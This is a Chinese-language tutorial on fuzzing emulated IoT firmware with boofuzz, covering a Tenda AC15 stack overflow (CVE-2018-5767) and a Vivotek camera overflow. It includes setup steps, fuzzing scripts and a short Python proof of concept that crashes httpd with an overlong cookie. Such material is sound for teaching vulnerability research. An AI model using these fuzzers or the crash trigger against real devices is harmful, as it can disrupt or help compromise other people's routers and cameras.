智能设备-boofuzz在二进制IOT漏洞挖掘中的简单运用

前言

有个未曾谋面的看雪的坛友问我一门关于IOT挖洞的课怎么样，因为课表里写的太笼统，所以我也就没给明确答复，不过我说我愿意免费教教我会的东西，另外之前关于我DIR-645漏洞文章结尾也说了要讲讲怎么fuzz出那个漏洞，于是便有了这篇文章

正文

环境

Ubuntu 20.04

Python、pip、qemu之类的直接用apt-get下载安装就好

IDA pro之前提供过下载链接

binwalk里有需要用到sasquatch程序，需要手动下载一下，命令如下

sudo git clone https://github.com/devttys0/sasquatch
cd sasquatch
sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev
./build.sh

tenda AC15 CVE-2018-5767

环境问题

使用binwalk解包以后可以在bin文件夹下看到httpd程序，此时如果直接运行的话会卡在欢迎banner信息处

需要patch一些代码，修改判断逻辑

下图中红框内就是已经patch好的代码，点击Edit > Patch program > Apply pathes to input file > OK 即可保存

修改完成后再次运行依然会报错

这个错误主要是IP地址不正确，需要查看一下httpd服务具体是怎么获取IP的，需要从check_network函数开始查，这个函数是引用了第三方的lib库（至少我在Linux源码里没找到这个函数）

1	`find` `./lib/` `-name` `"*"` `\|` `xargs` `grep` `'check_network'`

结果会找到libcommon.so文件，用IDA打开后可以看到依然是调用了别的so库代码

需要继续搜get_eth_name函数位置

1	`find` `./lib/` `-name` `"*"` `\|` `xargs` `grep` `'get_eth_name'`

有四个匹配，事实上是libChipAPI.so文件

从代码里可以看到程序在尝试读网卡信息，因为没有对应的网卡，所以程序IP地址会出错，所以这里需要手动创建一个br0网卡，并给一个IP地址（在创建之前建议先保存一个快照以防万一）

1 2	`sudo` `tunctl -t br0 -u` `#用户名#` `sudo` `ifconfig` `br0 192.168.10.1/24`

修改好后httpd程序就能正确运行了

fuzz部分

此处需要抓包查看协议结构，但是因为只是普通的HTTP协议，我就直接给出boofuzz代码了

from boofuzz import *  
 
IP = "10.10.10.1"                #IP地址填自己的IP就好
PORT = 80
 
def check_response(target, fuzz_data_logger, session, *args, **kwargs):
    fuzz_data_logger.log_info("Checking test case response...")
    try:
        response = target.recv(512)
    except:
        fuzz_data_logger.log_fail("Unable to connect to target. Closing...")
        target.close()
        return
 
    #if empty response
    if not response:
        fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...")
        target.close()
        return
 
    #remove everything after null terminator, and convert to string
    #response = response[:response.index(0)].decode('utf-8')
    fuzz_data_logger.log_info("response check...\n" + response.decode())
    target.close()
    return
     
def main():
    '''
    options = {
        "start_commands": [
            "sudo chroot /home/lys/Documents/IoT/firmware/_AC15_V15.03.1.16.bin.extracted/squashfs-root ./httpd"
        ],
        "stop_commands": ["echo stopping"],
        "proc_name": ["/usr/bin/qemu-arm-static ./httpd"]
    }
    procmon = ProcessMonitor("127.0.0.1", 26002)
    procmon.set_options(**options)
    '''
 
    session = Session(
        target=Target(
            connection=SocketConnection(IP, PORT, proto="tcp"),
            # monitors=[procmon]
        ),
        post_test_case_callbacks=[check_response],
    )
 
    s_initialize(name="Request")
    with s_block("Request-Line"):
        # Line 1
        s_group("Method", ["GET"])
        s_delim(" ", fuzzable=False, name="space-1-1")
        s_string("/goform/123", fuzzable=False)    # fuzzable 1
        s_delim(" ", fuzzable=False, name="space-1-2")
        s_static("HTTP/1.1", name="HTTP_VERSION")
        s_static("\r\n", name="Request-Line-CRLF-1")
        # Line 2
        s_static("Host")
        s_delim(": ", fuzzable=False, name="space-2-1")
        s_string("10.10.10.1", fuzzable=False, name="IP address")
        s_static("\r\n", name="Request-Line-CRLF-2")
        # Line 3
        s_static("Connection")
        s_delim(": ", fuzzable=False, name="space-3-1")
        s_string("keep-alive", fuzzable=False, name="Connection state")
        s_static("\r\n", name="Request-Line-CRLF-3")
        # Line 4
        s_static("Cookie")
        s_delim(": ", fuzzable=False, name="space-4-1")
        s_string("bLanguage", fuzzable=False, name="key-bLanguage")
        s_delim("=", fuzzable=False)
        s_string("en", fuzzable=False, name="value-bLanguage")
        s_delim("; ", fuzzable=False)
        s_string("password", fuzzable=False, name="key-password")
        s_delim("=", fuzzable=False)
        s_string("ce24124987jfjekfjlasfdjmeiruw398r", fuzzable=True)    # fuzzable 2
        s_static("\r\n", name="Request-Line-CRLF-4")
        # over
        s_static("\r\n")
        s_static("\r\n")
 
    session.connect(s_get("Request"))
    session.fuzz()
 
if __name__ == "__main__":
    main()

在开始之前记得用pip安装一下boofuzz，因为已经知道漏洞点了，所以很快就能跑出结果了

可以看到在password给出了一个非常长的值后程序崩溃了，验证其实也很简单，直接用Python脚本访问之前给br0的地址，端口是80，cookie中给一个超长的值就能复现崩溃了

import requests
 
ip = "10.10.10.1"                                #此处修改为自己的IP
url = "http://%s/goform/execCommand"%ip
cookie = {"Cookie":"password=" + "A"*1000}
ret = requests.get(url=url,cookies=cookie)
#print ret.text

最后在bLanguage这个字段也有个溢出，大家可以尝试修改上面的fuzz脚本复现一下

Vivotek漏洞栈溢出

这是一个2017年爆出的贼老的栈溢出漏洞，不过用来学习boofuzz的使用还是不错的

环境问题

首先使用binwalk解包固件后会有不少文件，文件系统在这个目录下

1	`_CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root`

http服务用的是boa

这里有两个点需要修复

首先将宿主机中/etc/hosts文件夹中的内容全部复制到固件文件系统的/etc/hosts文件中去

然后将 _31.extracted/defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc/ 目录直接拷贝到 squashfs-root/mnt/flash/ 目录中去，这一步主要是解决boa的config文件缺失问题

接下来直接用qemu命令运行httpd服务就行了

fuzz部分

fuzz这个洞的脚本如下

from boofuzz import *  
 
IP = "127.0.0.1"
PORT = 80
 
def check_response(target, fuzz_data_logger, session, *args, **kwargs):
    fuzz_data_logger.log_info("Checking test case response...")
    try:
        response = target.recv(512)
    except:
        fuzz_data_logger.log_fail("Unable to connect to target. Closing...")
        target.close()
        return
 
    #if empty response
    if not response:
        fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...")
        target.close()
        return
 
    #remove everything after null terminator, and convert to string
    #response = response[:response.index(0)].decode('utf-8')
    fuzz_data_logger.log_info("response check...\n" + response.decode())
    target.close()
    return
     
def main():
    '''
    options = {
        "start_commands": [
            "sudo chroot /home/lys/Documents/IoT/firmware/_AC15_V15.03.1.16.bin.extracted/squashfs-root ./httpd"
        ],
        "stop_commands": ["echo stopping"],
        "proc_name": ["/usr/bin/qemu-arm-static ./httpd"]
    }
    procmon = ProcessMonitor("127.0.0.1", 26002)
    procmon.set_options(**options)
    '''
 
    session = Session(
        target=Target(
            connection=SocketConnection(IP, PORT, proto="tcp"),
            # monitors=[procmon]
        ),
        post_test_case_callbacks=[check_response],
    )
 
    s_initialize(name="Request")
    with s_block("Request-Line"):
        # Line 1
        s_group("Method", ["POST"])
        s_delim(" ", fuzzable=False, name="space-1-1")
        s_string("/cgi-bin/admin/upgrade.cgi", fuzzable=False)
        s_delim(" ", fuzzable=False, name="space-1-2")
        s_static("HTTP/1.1",name="HTTP_VERSION")
        s_static("\r\n", name="Request-Line-CRLF-1")
        # Line 2
        s_static("Content-Length")
        s_delim(": ", fuzzable=False, name="space-2-1")
        s_string("data", fuzzable=True)
        s_static("\r\n")
 
    session.connect(s_get("Request"))
    session.fuzz()
 
if __name__ == "__main__":
    main()